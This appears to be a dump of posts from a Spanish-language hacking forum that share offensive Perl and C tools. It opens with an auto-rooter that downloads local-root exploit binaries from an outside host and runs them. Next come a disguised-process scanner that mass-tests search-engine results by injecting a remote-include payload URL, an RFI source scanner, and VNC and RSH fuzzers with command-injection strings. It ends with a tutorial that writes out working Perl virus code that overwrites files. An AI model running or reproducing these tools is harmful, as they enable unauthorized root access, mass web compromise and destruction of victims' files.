system("wget http://metrpol.webs.com/8cc");
system("chmod 777 8cc");
system("./8cc");
system("id");
print "If u r r00t stop xpl with ctrl+c\n";
system("wget http://metrpol.webs.com/8x");
system("chmod 777 8x");
system("./8x");
system("id");
print "If u r r00t stop xpl with ctrl+c\n";
system("wget http://metrpol.webs.com/9");
system("chmod 777 9");
system("./9");
system("id");
print "If u r r00t stop xpl with ctrl+c\n";
system("wget http://metrpol.webs.com77");
system("chmod 777 77");
system("./77");
system("id");
print "If u r r00t stop xpl with ctrl+c\n";
system("wget http://metrpol.webs.com/78");
system("chmod 777 78");
system("./78");
system("id");
print "If u r r00t stop xpl with ctrl+c\n";
system("wget http://metrpol.webs.com/ptrace-kmod");
system("chmod 777 ptrace-kmod");
system("./ptrace-kmod");
system("id");
print "If u r r00t stop xpl with ctrl+c\n";
system("wget http://metrpol.webs.com/elflbl");
system("chmod 777 elflbl");
system("./elflbl");
system("id");
print "If u r r00t stop xpl with ctrl+c\n";
system("wget http://metrpol.webs.com/kmod");
system("chmod 777 kmod");
system("./kmod");
system("id");
print "If u r r00t stop xpl with ctrl+c\n";
system("wget http://metrpol.webs.com/newlocal");
system("chmod 777 newlocal");
system("./newlocal");
system("id");
print "If u r r00t stop xpl with ctrl+c\n";
system("wget http://metrpol.webs.com/27799");
system("chmod 777 27799");
system("./27799");
system("id");
print "If u r r00t stop xpl with ctrl+c\n";
system("wget downloads.securityfocus.com/vulnerabilities/exploits/27704.c");
system("gcc 27704.c -o 27704"); 
system("chmod 777 27704");
system("./27704");
system("id");
print "If u r r00t stop xpl with ctrl+c\n";
system("wget http://metrpol.webs.com/k-rad3");
system("chmod 777 k-rad3");
system("./k-rad3 -t 1 -p 2");
system("./k-rad3 -t 1 -p 3");
system("./k-rad3 -t 1 -p 4");
system("./k-rad3 -t 1 -p 5");
system("./k-rad3 -t 1 -p 6");
system("./k-rad3 -t 1 -p 7");
system("./k-rad3 -t 1 -p 8");
system("./k-rad3 -t 1 -p 9");
system("./k-rad3 -t 1 -p 10");
system("./k-rad3 -t 1 -p 11");
system("./k-rad3 -t 1 -p 12");
system("./k-rad3 -t 1 -p 13");
system("./k-rad3 -t 1 -p 14");
system("./k-rad3 -t-p 2");
system("./k-rad3 -t-p 2");
system("./k-rad3 -t-p 3");
system("./k-rad3 -t-p 4");
system("./k-rad3 -t-p 5"); 
system("./k-rad3 -a -p 7");
system("./k-rad3 -a -p 7");
system("./k-rad3 -a -p 8");
system("./k-rad3 -a -p 8");
system("./k-rad3 -a -p 9");
system("./k-rad3 -a -p 9");
system("id");
print "If u r r00t stop xpl with ctrl+c\n";
system("wget http://metrpol.webs.com/pwned");
system("chmod 777 pwned");
system("./pwned");
system("id");
print "If u r r00t stop xpl with ctrl+c\n";
system("wget http://metrpol.webs.com/krad");
system("chmod 777 krad");
system("./krad -t 1 -p 2");
system("id");
print "If u r r00t stop xpl with ctrl+c\n";
system("wget http://metrpol.webs.com/r00t");
system("chmod 777 r00t");
system("./r00t");
system("id");
print "If u r r00t stop xpl with ctrl+c\n";
system("wget http://metrpol.webs.com/2.4.34");
system("chmod 777 2.4.34");
system("./2.4.34");
system("id");
print "If u r r00t stop xpl with ctrl+c\n";
system("wget http://metrpol.webs.com/lezr-km");
system("chmod 777 lezr-km"); 
system("./lezr-km");
system("id");
print "If u r r00t stop xpl with ctrl+c\n";
system("wget http://metrpol.webs.com/mremap_pte");
system("chmod 777 mremap_pte"); 
system("./mremap_pte");
system("id");
print "If u r r00t stop xpl with ctrl+c\n";
system("wget http://metrpol.webs.com/ong_bak");
system("chmod 777 ong_bak"); 
system("./ong_bak -10023411");
system("./ong_bak -10029");
system("./ong_bak -10023");
system("id");
print "If u r r00t stop xpl with ctrl+c\n";
system("wget http://metrpol.webs.com/ptrace24");
system("chmod 777 ptrace24"); 
system("./ptrace24");
system("id");
print "If u r r00t stop xpl with ctrl+c\n";
system("wget http://metrpol.webs.com/pwned3");
system("chmod 777 pwned3"); 
system("./pwned3");
system("id");
print "If u r r00t stop xpl with ctrl+c\n";
system("wget http://metrpol.webs.com/loginx");
system("chmod 777 loginx"); 
system("./loginx");
system("id");
print "If u r r00t stop xpl with ctrl+c\n";
system("wget http://metrpol.webs.com/myptrace");
system("chmod 777 myptrace"); 
system("./myptrace");
system("id");
print "If u r r00t stop xpl with ctrl+c\n";
system("wget http://metrpol.webs.com/x");
system("chmod 777 x"); 
system("./x");
system("id");
print "If u r r00t stop xpl with ctrl+c\n";
system("wget http://metrpol.webs.com/crond");
system("chmod 777 crond"); 
system("./crond");
system("id");
print "If u r r00t stop xpl with ctrl+c\n"; 
system("wget http://metrpol.webs.com/uselib24");
system("chmod 777 uselib24");
system("./uselib24");
system("id");
print "If u r r00t stop xpl with ctrl+c\n"; 
print "If u arent im sorry xpl session finished \n";
}
#23
Perl / PHP Injection Scanner (Perl Code)
Enero 27, 2011, 08:53:33 PM
Código: perl
#!/usr/bin/perl

use LWP::Simple;
use IO::Socket::INET;



print "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
print "\t[ PHP injection scanner 5.0 priv8 version by poerschke ]\n\t[ irc.gigachat.net #spykids ]\n\n\n";

if(!@ARGV[0]){
print "\t[ use: perl php5.0.pl <procura> ]\n\n";
exit;
}
print "\t[ Camuflando pid ]\n";
my $processo = "/usr/local/sbin/httpd - spy";
$SIG{"INT"} = "IGNORE";
$SIG{"HUP"} = "IGNORE";
$SIG{"TERM"} = "IGNORE";
$SIG{"CHLD"} = "IGNORE";
$SIG{"PS"} = "IGNORE";

$0="$processo"."\0"x16;;
my $pid=fork;
exit if $pid;
die "Problema com o fork: $!" unless defined($pid);

print "\t[ Pid: $pid Processo: $processo ]\n";

$caxe = ".";
$caxe1 = ".";
$caxe .= rand(9999);
$caxe1 .= rand(9999);
$arq = ".";
$arq = int rand(9999);

open(sites,">$arq");
print sites "";
close(sites);


$procura = @ARGV[0];
chomp $procura;
print "\t[ Procurando por $procura no Google ]\n";
for($n=0;$n<900;$n += 10){
$sock = IO::Socket::INET->new(PeerAddr => "www.google.com.br", PeerPort => 80, Proto => "tcp") or next;
print $sock "GET /search?q=$procura&start=$n HTTP/1.0\n\n";
print $sock "Host: www.google.com.br";
print $sock "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.0.1) Gecko/20020823 Netscape/7.0";
print $sock "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,text/css,*/*;q=0.1";
print $sock "Accept-Language: pt-br, pt;q=0.50";
print $sock "Accept-Encoding: gzip, deflate, compress;q=0.9";
print $sock "Accept-Charset: ISO-8859-1, utf-8;q=0.66, *;q=0.66";
print $sock "Keep-Alive: 300";
print $sock "Connection: keep-alive";

@resu = <$sock>;
close($sock);
$ae = "@resu";
while ($ae=~ m/<a href=.*?>.*?<\/a>/){
  $ae=~ s/<a href=(.*?)>.*?<\/a>/$1/;
  $uber=$1;
   if ($uber !~/translate/)
   {
   if ($uber !~ /cache/)
   {
   if ($uber !~ /"/)
   {
   if ($uber !~ /google/)
   {
   if ($uber !~ /216/)
   {
   if ($uber =~/http/)
   {
   if ($uber !~ /start=/)
   {
     open(arq,">>$arq");
          print arq "$uber\n";
          close(arq);
}}}}}}}}}
print "\t[ Procurando por $procura no Cade   ]\n";

for($cadenu=1;$cadenu <= 991; $cadenu +=10){

@cade = get("http://cade.search.yahoo.com/search?p=$procura&ei=UTF-8&fl=0&all=1&pstart=1&b=$cadenu") or next;
$ae = "@cade";

while ($ae=~ m/<em class=yschurl>.*?<\/em>/){
  $ae=~ s/<em class=yschurl>(.*?)<\/em>/$1/;
  $uber=$1;

$uber =~ s/ //g;
$uber =~ s/<b>//g;
$uber =~ s/<\/b>//g;

open(a,">>$arq");
print a "$uber\n";
close(a);
}}
print "\t[ Pronto sites pegos no google e cade ]\n";
print "\t[ Excluindo os sites repetidos ]\n";
$ark = $arq;
@si = "";
open (arquivo,"<$ark");
@si = <arquivo>;
close(arquivo);
$novo ="";
foreach (@si){
if (!$si{$_})
{
$novo .= $_;
$si{$_} = 1;
}
}
open (arquivo,">$ark");
print arquivo $novo;
close(arquivo);


$a =0;
$b =0;
open(ae,"<$arq");
while(<ae>)
{$sites[$a] = $_;
  chomp $sites[$a];
  $a++;
  $b++;}
close(ae);
print "\t[ Total de sites para scanear: $a ]\n";
for ($a=0;$a<=$b;$a++){
open (file, ">$caxe");
      print file "";
close(file);
open (file, ">$caxe1");
      print file "";
close(file);
$k=0;
$e=0;
$data=get($sites[$a]) or next;
  while($data=~ m/<a href=".*?">.*?<\/a>/){
  $data=~ s/<a href="(.*?)">.*?<\/a>/$1/;
  $ubersite=$1;

  if ($ubersite =~/"/)
   {
   $nu = index $ubersite, '"';
   $ubersite = substr($ubersite,0,$nu);
   }
if ($ubersite !~/http/)
{$ubersite = $sites[$a].'/'.$ubersite;}
open(file,">>$caxe") || die("nao abriu caxe.txt $!");
print file "$ubersite\n";
close(file);
}

$lista1 = 'http://www.spykidsgroup.com/spy.gif?&cmd=ls%20/';
$t =0;
$y =0;
@ja;
open(opa,"<$caxe") or die "nao deu pra abrir o arquivo caxe.txt";
while (<opa>)
{
$ja[$t] = $_;
chomp $ja[$t];
$t++;
$y++;
}
close(opa);
$t=1;
while ($t < $y)
   {
    if ($ja[$t] =~/=/)
      {
       $num = rindex $ja[$t], '=';
       $num += 1;
       $ja[$t] = substr($ja[$t],0,$num);   
            open (jaera,">>$caxe1") or die "nao deu pra abrir ou criar caxe1.txt";
            print jaera "$ja[$t]$lista1\n";
            close(jaera);
        $num = index $ja[$t], '=';
        $num += 1;
        $ja[$t] = substr($ja[$t],0,$num);       
        $num1 = rindex $ja[$t], '.';
        $subproc = substr($ja[$t],$num1,$num);
         
            open (jaera,">>$caxe1") or die "nao deu pra abrir ou criar caxe1.txt";
            print jaera "$ja[$t]$lista1\n";
            close(jaera);
      }
     $t++;
     }
$ark = "$caxe1";
@si = "";
open (arquivo,"<$ark");
@si = <arquivo>;
close(arquivo);
$novo ="";
foreach (@si){
if (!$si{$_})
{
$novo .= $_;
$si{$_} = 1;
}
}
open (arquivo,">$ark");
print arquivo $novo;
close(arquivo);
   $q=0;
   $w=0;
    @hot;
   open (ops,"<$caxe1");
   while(<ops>)
   {
   $hot[$q] = $_;
   chomp $hot[$q];
   $q++;
   $w++;
   }
   close(ops);
print "\t[ ComeiƒÆ'i,§ando o scan aguarde. Pode demorar horas. ]\n";
for($q=0;$q<=$w;$q++)
  {

  if ($hot[$q] =~/http/)
    {
   $tipo=get($hot[$q]) or next;
   if($tipo =~/root/)
         {
         if ($tipo =~/etc/)
          {
          if ($tipo =~/boot/)
           {
    open(a,">>res.txt");
    print a "$hot[$q]\n";
    close(a);
                 }}}}}}

print "\t[ Pronto scanner concluido ]\n";
print "\t[ O resultado foi salvo no ftp do spykids ]\n";
#24
Perl / RFI-Scanner
Enero 27, 2011, 08:53:05 PM
Código: perl
/*
   RFI Scanner By DiGitalX ([email protected])
   Date: 6/4/2007 -- MicroSystem Team
*/

#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <stdio.h>

//#define _DEBUG //debug mode (for me :D)
#define DEBUG_ROOT "output"

//put the vuln functions here
//functions that if a var is in its arguments then possible RFI occurs
//IMPORTANT: keep this order
char* vuln[] = {
   "include_once", "include", "require_once", "require", NULL
};

//global
BOOL bShortDis = FALSE;

void usage(char* app)
{
   printf("usage: [-s] %s <root-directory>\n", app);
   printf("\t-s\tshort display mode\n");
}

void banner(void)
{
   printf("RFI Scanner By DiGitalX ([email protected])\n");
   printf("Date: 6/4/2007 -- MicroSystem Team\n\n");
}

//return: FALSE if EOF reached, TRUE otherwise
BOOL freadline(FILE* f, char* line, int size)
{
   int b, i = 0;

   //zero line
   memset(line, 0, size);

   do {
      //read one byte
      b = fgetc(f);
      //check if EOF
      if (b == EOF) return FALSE;
      //check if newline cha reached or line is full
      if ((b == '\n') || (i == 1023)) return TRUE;
      *line++ = b; //fill line
      i++; //increment counter
   } while (1);

   return 1; /* unreachable code */
}

BOOL php_scanfile(char* file)
{
   char line[1024], line2[1024];
   int linenum = 0;
   BOOL notend;
   char* tmp, *tmp2, *x;

   //open file
   FILE* f = fopen(file, "rb");
   //check
   if (f == NULL)
      return FALSE;

   do {
      //opened, then read line by line
      notend = freadline(f, line, sizeof(line));
      linenum++;

      //lower the line
      strcpy(line2, line);
      CharLower(line2);

      for (int i = 0; vuln[i] != NULL; i++) {
         //now line contains one line of code, search for RFI functions
         //include, include_once, require, require_once
         tmp = strstr(line2, vuln[i]);
         if (tmp != NULL) {
            //line contains vuln function maybe RFI.
            //check if function
            tmp += strlen(vuln[i]); //skip function name
            while (*tmp != '(') {
               //check if end of line reached or someother char (not whitespace means not function)
               if (*tmp == '\0') goto next; //then goto next vuln function
               //check if there's crap between vuln function and the first '(' reached
               //if so then it's not a vuln function maybe comment or var or string or something else
               if ((*tmp != ' ') && (*tmp != '\t')) goto next; //just dun bother and goto next vuln function
               tmp++; //keep incrementing tmp until catching '(' [opening parentheses of the vuln function]
            }
            //check for var inside this function
            tmp2 = tmp; //set tmp2 at begin of include function
            while (*tmp2 != ')') {
               tmp2++; //keep incrementing tmp2 until catching ')' [closing parentheses of the include function]
               //check if end of line reached
               if (*tmp2 == '\0') goto next; //then goto next vuln function
            }
            x = tmp; //set x at begin of include function
            while ((*x != '$') && (x < tmp2)) x++; //keep incrementing x until catching a var inside include functino or include function closing parentheses
            //check which condition just holded
            if (*x == '$') {
               //BINGO, possible RFI cought :D
               printf("possible RFI at line: %u", linenum);
               //if bShortDis then provide filename
               if (bShortDis) printf(" in \"%s\"\n", file);
               else printf("\n"); //otherwise just newline
               break; //break off the for loop
            }
         }
         next:
      }
     
      if (!notend) break; //NOT not end == end :D
   } while (1);

   fclose(f);
   return TRUE;
}

void php_search(void) {
   WIN32_FIND_DATA wfd;
   HANDLE fh;
   char lpBuffer[320];
   char *lpFilePart;

   fh = FindFirstFile("*.*",&wfd);
   if (fh != INVALID_HANDLE_VALUE) {
      do {
         // skip '.' and '..' dirs
         if (wfd.cFileName[0] == '.') continue;
         // if dir enter it
         if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
            if (SetCurrentDirectory(wfd.cFileName) == TRUE) {
               php_search(); // recursive call
               SetCurrentDirectory("..");
            }
            continue;
         }
         // otherwise carry on our process
         if (GetFullPathName(wfd.cFileName,320,lpBuffer,&lpFilePart) == 0) continue;
         CharLower(lpBuffer);
         // checking if the extension of the file is php
         if (memcmp(&lpBuffer[lstrlen(lpBuffer)-3],"php",3) == 0) {
            //skip if bShortDis is set
            if (!bShortDis) printf("Scanning %s...\n", lpBuffer);
            php_scanfile(lpBuffer);
         }
      } while (FindNextFile(fh,&wfd) == TRUE);
      FindClose(fh); // closing find handle
   }
}

BOOL begin_rfi_scan(char* root)
{
   //first set the root dir as current dir
   if (!SetCurrentDirectory(root))
      return FALSE;

   //begin the hunting for php files
   printf("Beginning Hunting RFI Vulnerabilities...\n");
   //if -s is given then inform user that mode is activated
   if (bShortDis) printf("Short Display Mode Activated\n");
   php_search();
   printf("Finished of Hunting.\n");

   return TRUE;
}

int main(int argc, char** argv)
{
   int pos = 1; //root position in cmd line

   //show banner
   banner();

   #ifndef _DEBUG
   //check if root dir is given in the cmd line
   if (argc < 2) {
      //show usage screen and exit
      usage(argv[0]);
      return 1;
   }
   #endif

   //-s switch is specified
   if (strcmp(argv[1], "-s") == 0) {
      bShortDis = TRUE; //set flag
      pos = 2; //change root position in cmd line
   }

   //root dir is given good, then scan all the files inside this root directory
   #ifndef _DEBUG
   if (!begin_rfi_scan(argv[pos])) {
   #else
   if (!begin_rfi_scan(DEBUG_ROOT)) {
   #endif
      printf("Error: initializing RFI Scanner... Try Again");
      return 1;
   }

   return 0;
} [/quote]

[quote]Es un simple scanner-RFI que escanea archivos -php o posibles vulnerabilidades como include(),require()...etc y luego chekea si hay alguna variable en los argumentos de la funcion.
Si la hay muestra el resultado para que tu chekes si hay una RFI/LFI muy feliz xD!

*Nota:
Podes poner un monton de scripts php inside a folder y cocorrer el scanner contra el mismo.

El scaner scanneara todo el directorio root (dentro de la lina cmd) y te provera cada pusible funcion bugg junto con la linea y nombre del script
#25
Perl / VNC Server Fuzzer
Enero 27, 2011, 08:51:38 PM
Código: perl
#!/usr/bin/perl
# Jeremy Brown [[email protected]/jbrownsec.blogspot.com]
# VNCrush - VNC Server Fuzzer
# How many more elaborate names for fuzzing tools can I come up with? Short answer: the imagination is limitless :)
# Some servers will throw out some of the fuzz strings, some won't ;)

use Net::VNC;
use Getopt::Std;

# FUZZ DATA BEGIN HERE
@overflows = ('A' x 2200, 'A' x 4200, 'A' x 8400, 'A' x 12000, 'A' x 22000, 'A' x 52000, 'A' x 102000, 'A' x 500500,
       'A' x 1002000, 'A' x 5005000, 'A' x 12000000, '//AAAA' x 8500, '\\\AAAA' x 8500, '\0x99' x 12000);

@fmtstring = ('%n%n%n%n%n', '%p%p%p%p%p', '%s%s%s%s%s', '%d%d%d%d%d', '%x%x%x%x%x',
              '%s%p%x%d', '%.1024d', '%.1025d', '%.2048d', '%.2049d', '%.4096d', '%.4097d',
              '%99999999999s', '%08x', '%%20n', '%%20p', '%%20s', '%%20d', '%%20x',
              '%#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%', '\0xCD' x 50, '\0xCB' x 50);

@numbers = ('0', '-0', '1', '-1', '32767', '-32768', '2147483647', '-2147483647', '2147483648', '-2147483648',
              '4294967294', '4294967295', '4294967296', '357913942', '-357913942', '536870912', '-536870912',
              '1.79769313486231E+308', '3.39519326559384E-313', '99999999999', '-99999999999', '0x100', '0x1000',
              '0x3fffffff', '0x7ffffffe', '0x7fffffff', '0x80000000', '0xffff', '0xfffffffe', '0xfffffff', '0xffffffff',
              '0x10000', '0x100000', '0x99999999', '65535', '65536', '65537', '16777215', '16777216', '16777217', '-268435455');

@miscbugs = ('test|touch /tmp/FU_ZZ_ED|test', 'test`touch /tmp/FU_ZZ_ED`test', 'test\'touch /tmp/FU_ZZ_ED\'test',
       'test;touch /tmp/FU_ZZ_ED;test', 'test&&touch /tmp/FU_ZZ_ED&&test', 'test|C:/WINDOWS/system32/calc.exe|test',
       'test`C:/WINDOWS/system32/calc.exe`test', 'test\'C:/WINDOWS/system32/calc.exe\'test', 'test;C:/WINDOWS/system32/calc.exe;test',
       'C:/WINDOWS/system32/calc.exe"', '`/bin/sh`', '%0xa', '%u000');
# FUZZ DATA END HERE

getopts('t:p:', \%opts);
$target = $opts{'t'};
$password = $opts{'p'};

if(!defined($target))
{
     print "\n VNCrush - VNC Server Fuzzer";
     print "\nJeremy Brown [0xjbrown41\@gmail.com/jbrownsec.blogspot.com]\n";
     print "\n Usage: $0 -t <target> -p <password>\n\n";
     exit(0);

}

     print "\n VNCrush - VNC Server Fuzzer";
     print "\nJeremy Brown [0xjbrown41\@gmail.com/jbrownsec.blogspot.com]\n";

     print "\nFuzzing VNC Server @ $target/$password... GOOD LUCK!\n";

print "\n";
foreach(@overflows) { $fuzz = $_;
print "[Target = $target] [Fuzz = depth/overflow]\n";
$vnc = Net::VNC->new({hostname => $target, password => $password});
$vnc->depth($fuzz);
$vnc->login; }
foreach(@fmtstring) { $fuzz = $_;
print "[Target = $target] [Fuzz = depth/$fuzz]\n";
$vnc = Net::VNC->new({hostname => $target, password => $password});
$vnc->depth($fuzz);
$vnc->login; }
foreach(@numbers) { $fuzz = $_;
print "[Target = $target] [Fuzz = depth/$fuzz]\n";
$vnc = Net::VNC->new({hostname => $target, password => $password});
$vnc->depth($fuzz);
$vnc->login; }
foreach(@miscbugs) { $fuzz = $_;
print "[Target = $target] [Fuzz = depth/$fuzz]\n";
$vnc = Net::VNC->new({hostname => $target, password => $password});
$vnc->depth($fuzz);
$vnc->login; }

print "\n";
foreach(@overflows) { $fuzz = $_;
print "[Target = $target] [Fuzz = width/overflow]\n";
$vnc = Net::VNC->new({hostname => $target, password => $password});
$vnc->depth(24);
$vnc->width($fuzz);
$vnc->login; }
foreach(@fmtstring) { $fuzz = $_;
print "[Target = $target] [Fuzz = width/$fuzz]\n";
$vnc = Net::VNC->new({hostname => $target, password => $password});
$vnc->depth(24);
$vnc->width($fuzz);
$vnc->login; }
foreach(@numbers) { $fuzz = $_;
print "[Target = $target] [Fuzz = width/$fuzz]\n";
$vnc = Net::VNC->new({hostname => $target, password => $password});
$vnc->depth(24);
$vnc->width($fuzz);
$vnc->login; }
foreach(@miscbugs) { $fuzz = $_;
print "[Target = $target] [Fuzz = width/$fuzz]\n";
$vnc = Net::VNC->new({hostname => $target, password => $password});
$vnc->depth(24);
$vnc->width($fuzz);
$vnc->login; }

print "\n";
foreach(@overflows) { $fuzz = $_;
print "[Target = $target] [Fuzz = height/overflow]\n";
$vnc = Net::VNC->new({hostname => $target, password => $password});
$vnc->depth(24);
$vnc->height($fuzz);
$vnc->login; }
foreach(@fmtstring) { $fuzz = $_;
print "[Target = $target] [Fuzz = height/$fuzz]\n";
$vnc = Net::VNC->new({hostname => $target, password => $password});
$vnc->depth(24);
$vnc->height($fuzz);
$vnc->login; }
foreach(@numbers) { $fuzz = $_;
print "[Target = $target] [Fuzz = height/$fuzz]\n";
$vnc = Net::VNC->new({hostname => $target, password => $password});
$vnc->depth(24);
$vnc->height($fuzz);
$vnc->login; }
foreach(@miscbugs) { $fuzz = $_;
print "[Target = $target] [Fuzz = height/$fuzz]\n";
$vnc = Net::VNC->new({hostname => $target, password => $password});
$vnc->depth(24);
$vnc->height($fuzz);
$vnc->login; }

     print "\nFuzzing Complete. No faults? Try another server!\n\n";

exit;
#26
Perl / RSH Fuzzer
Enero 27, 2011, 08:51:20 PM
Código: perl
#!/usr/bin/perl
# Jeremy Brown [[email protected]/jbrownsec.blogspot.com]
# RSHatter - RSH Protocol Fuzzer
# ~Just for fun~

use Net::Rsh;
use Getopt::Std;

# FUZZ DATA BEGIN HERE
@overflows = ('A' x 2200, 'A' x 4200, 'A' x 8400, 'A' x 12000, 'A' x 22000, 'A' x 52000, 'A' x 102000, 'A' x 500500,
       'A' x 1002000, 'A' x 5005000, 'A' x 12000000, '//AAAA' x 8500, '\\\AAAA' x 8500, '\0x99' x 12000);

@fmtstring = ('%n%n%n%n%n', '%p%p%p%p%p', '%s%s%s%s%s', '%d%d%d%d%d', '%x%x%x%x%x',
              '%s%p%x%d', '%.1024d', '%.1025d', '%.2048d', '%.2049d', '%.4096d', '%.4097d',
              '%99999999999s', '%08x', '%%20n', '%%20p', '%%20s', '%%20d', '%%20x',
              '%#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%', '\0xCD' x 50, '\0xCB' x 50);

@numbers = ('0', '-0', '1', '-1', '32767', '-32768', '2147483647', '-2147483647', '2147483648', '-2147483648',
              '4294967294', '4294967295', '4294967296', '357913942', '-357913942', '536870912', '-536870912',
              '1.79769313486231E+308', '3.39519326559384E-313', '99999999999', '-99999999999', '0x100', '0x1000',
              '0x3fffffff', '0x7ffffffe', '0x7fffffff', '0x80000000', '0xffff', '0xfffffffe', '0xfffffff', '0xffffffff',
              '0x10000', '0x100000', '0x99999999', '65535', '65536', '65537', '16777215', '16777216', '16777217', '-268435455');

@miscbugs = ('test|touch /tmp/FU_ZZ_ED|test', 'test`touch /tmp/FU_ZZ_ED`test', 'test\'touch /tmp/FU_ZZ_ED\'test',
       'test;touch /tmp/FU_ZZ_ED;test', 'test&&touch /tmp/FU_ZZ_ED&&test', 'test|C:/WINDOWS/system32/calc.exe|test',
       'test`C:/WINDOWS/system32/calc.exe`test', 'test\'C:/WINDOWS/system32/calc.exe\'test', 'test;C:/WINDOWS/system32/calc.exe;test',
       'C:/WINDOWS/system32/calc.exe"', '`/bin/sh`', '%0xa', '%u000');
# FUZZ DATA END HERE

getopts('t:', \%opts);
$target = $opts{'t'};

if(!defined($target))
{
     print "\n RSHatter - RSH Protocol Fuzzer";
     print "\nJeremy Brown [0xjbrown41\@gmail.com/jbrownsec.blogspot.com]\n";
     print "\n Usage: $0 -t <target>\n\n";
     exit(0);

}

     print "\n RSHatter - RSH Protocol Fuzzer";
     print "\nJeremy Brown [0xjbrown41\@gmail.com/jbrownsec.blogspot.com]\n";

     print "\nFuzzing RSHd @ $target... GOOD LUCK!\n";

print "\n";
foreach(@overflows) { $fuzz = $_;
print "[Target = $target] [Fuzz = localuser/overflow]\n";
$rshf = Net::Rsh->new();
$rshf->rsh($target, $fuzz, 'root', 'id'); }
foreach(@fmtstring) { $fuzz = $_;
print "[Target = $target] [Fuzz = localuser/$fuzz]\n";
$rshf = Net::Rsh->new();
$rshf->rsh($target, $fuzz, 'root', 'id'); }
foreach(@numbers) { $fuzz = $_;
print "[Target = $target] [Fuzz = localuser/$fuzz]\n";
$rshf = Net::Rsh->new();
$rshf->rsh($target, $fuzz, 'root', 'id'); }
foreach(@miscbugs) { $fuzz = $_;
print "[Target = $target] [Fuzz = localuser/$fuzz]\n";
$rshf = Net::Rsh->new();
$rshf->rsh($target, $fuzz, 'root', 'id'); }

print "\n";
foreach(@overflows) { $fuzz = $_;
print "[Target = $target] [Fuzz = remoteuser/overflow]\n";
$rshf = Net::Rsh->new();
$rshf->rsh($target, 'root', $fuzz, 'id'); }
foreach(@fmtstring) { $fuzz = $_;
print "[Target = $target] [Fuzz = remoteuser/$fuzz]\n";
$rshf = Net::Rsh->new();
$rshf->rsh($target, 'root', $fuzz, 'id'); }
foreach(@numbers) { $fuzz = $_;
print "[Target = $target] [Fuzz = remoteuser/$fuzz]\n";
$rshf = Net::Rsh->new();
$rshf->rsh($target, 'root', $fuzz, 'id'); }
foreach(@miscbugs) { $fuzz = $_;
print "[Target = $target] [Fuzz = remoteuser/$fuzz]\n";
$rshf = Net::Rsh->new();
$rshf->rsh($target, 'root', $fuzz, 'id'); }

print "\n";
foreach(@overflows) { $fuzz = $_;
print "[Target = $target] [Fuzz = cmd/overflow]\n";
$rshf = Net::Rsh->new();
$rshf->rsh($target, 'root', 'root', $fuzz); }
foreach(@fmtstring) { $fuzz = $_;
print "[Target = $target] [Fuzz = cmd/$fuzz]\n";
$rshf = Net::Rsh->new();
$rshf->rsh($target, 'root', 'root', $fuzz); }
foreach(@numbers) { $fuzz = $_;
print "[Target = $target] [Fuzz = cmd/$fuzz]\n";
$rshf = Net::Rsh->new();
$rshf->rsh($target, 'root', 'root', $fuzz); }
foreach(@miscbugs) { $fuzz = $_;
print "[Target = $target] [Fuzz = cmd/$fuzz]\n";
$rshf = Net::Rsh->new();
$rshf->rsh($target, 'root', 'root', $fuzz); }

     print "\nFuzzing Complete. RSHaattteeeerrrrr!\n\n";

exit;
#27
Perl / Tutorial - Perl virus
Enero 27, 2011, 08:49:24 PM
Autor: SnakeByte
Traducido: AspriX

Debido a que he tenido que aprender Perl para un trabajo, decidi escribir un virus en este lenguaje. Hasta esta maiƒÂ±ana no he encontrado un virus hecho en perl en la web, asique decidi escribir este pequeiƒÂ±o tutorial sobre virus en Perl. Este tuto tiene la misma estructura que mi tutorial sobre Virus Script en Linux y estoy seguro que los newbies en perl (como yo) lo entenderan. Por el momento no he mirado el virus que encontre, porque quiero tratar de escribir uno propio.
(recien termine un overwritter totalmente lamer, pero decidi empezar escribiendo esto, porque quiero que el lector siga mis pasos).
Todo el codigo que veran aqui esta testeado en un Linux SuSe 7.0 con Perl 5.0005_3 y funciono bien. Voy a tratar de hacerlo compatible con otros S.O. pero no puedo garantizarlo.
Bueno, vamos a empezar con el overwritter del que les hable. Primero el codigo y despues la explicacion de lo que hace:

Código: perl
#!/usr/bin/perl

open(File,$0);
@Virus=<File>;
close(File);

foreach $FileName (<*>)
{
  open(File, ">$FileName");
  print File @Virus;
  close (File);
}


La primer linea es un comentario (marcado con #). Es casi un estandar que todos los archivos de perl tengan la ruta del interprete en la primera linea.
En la segunda linea nos abrimos a nosotros mismos. El nombre del archivo del script que esta corriendo se guarda en $0. En la tercera linea pasamos el contenido de nuestro archivo al array @Virus. Ahora, todos los valores del array (@Virus[1],@Virus[2],...) contienen una linea de nuestro archivo. Ya que esto es todo lo que queremos hacer con nuestro archivo lo cerramos.
Entonces usamos un loop para buscar archivos. Con el loop pasamos por todos los archivos del directorio actual (<*>) y copiamos su nombre en $FileName. Abrimos el archivo para escritura (mostrado como > delante del nombre del archivo) y simplemente escribimos nuestro virus sobre el archivo (si quisieramos aiƒÂ±adirnos en vez de sobreescribirnos usariamos >>nombre_del_archivo). Bueno, el archivo fue reemplazado por el virus, asique agarremos al siguiente y hagamos lo mismo...
Pienso que este pedacito de codigo esta bastante claro ahora.
Hagamoslo un poco mejor, asi no sobreescribiremos todos los archivos, solo los de perl.

Código: perl
#!/usr/bin/perl
open(File,$0);
@Virus=<File>;
close(File);

foreach $FileName (<*>)
{
  if ((-r $FileName) && (-w $FileName) && (-f $FileName))
  {
   open(File, "$FileName");
   @Temp=<File>;
   close(File);
   if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl"))
   {
    open(File, ">$FileName");
    print File @Virus;
    close (File);
   }
  }
}


Las primeras lineas las vimos en el anterior ejemplo. Despues sigue un If enorme, veamos lo que hace.
Este filtra todos los archivos que somos capaces de leer (-r), de escribir (-w) y los que son archivos en si y no directorios (-f).
Cada una de estas condiciones debe cumplirse, ya que las juntamos con && que es un AND logico. Entonces abrimos el archivo para leer (como ves, no hay > adelante del nombre).
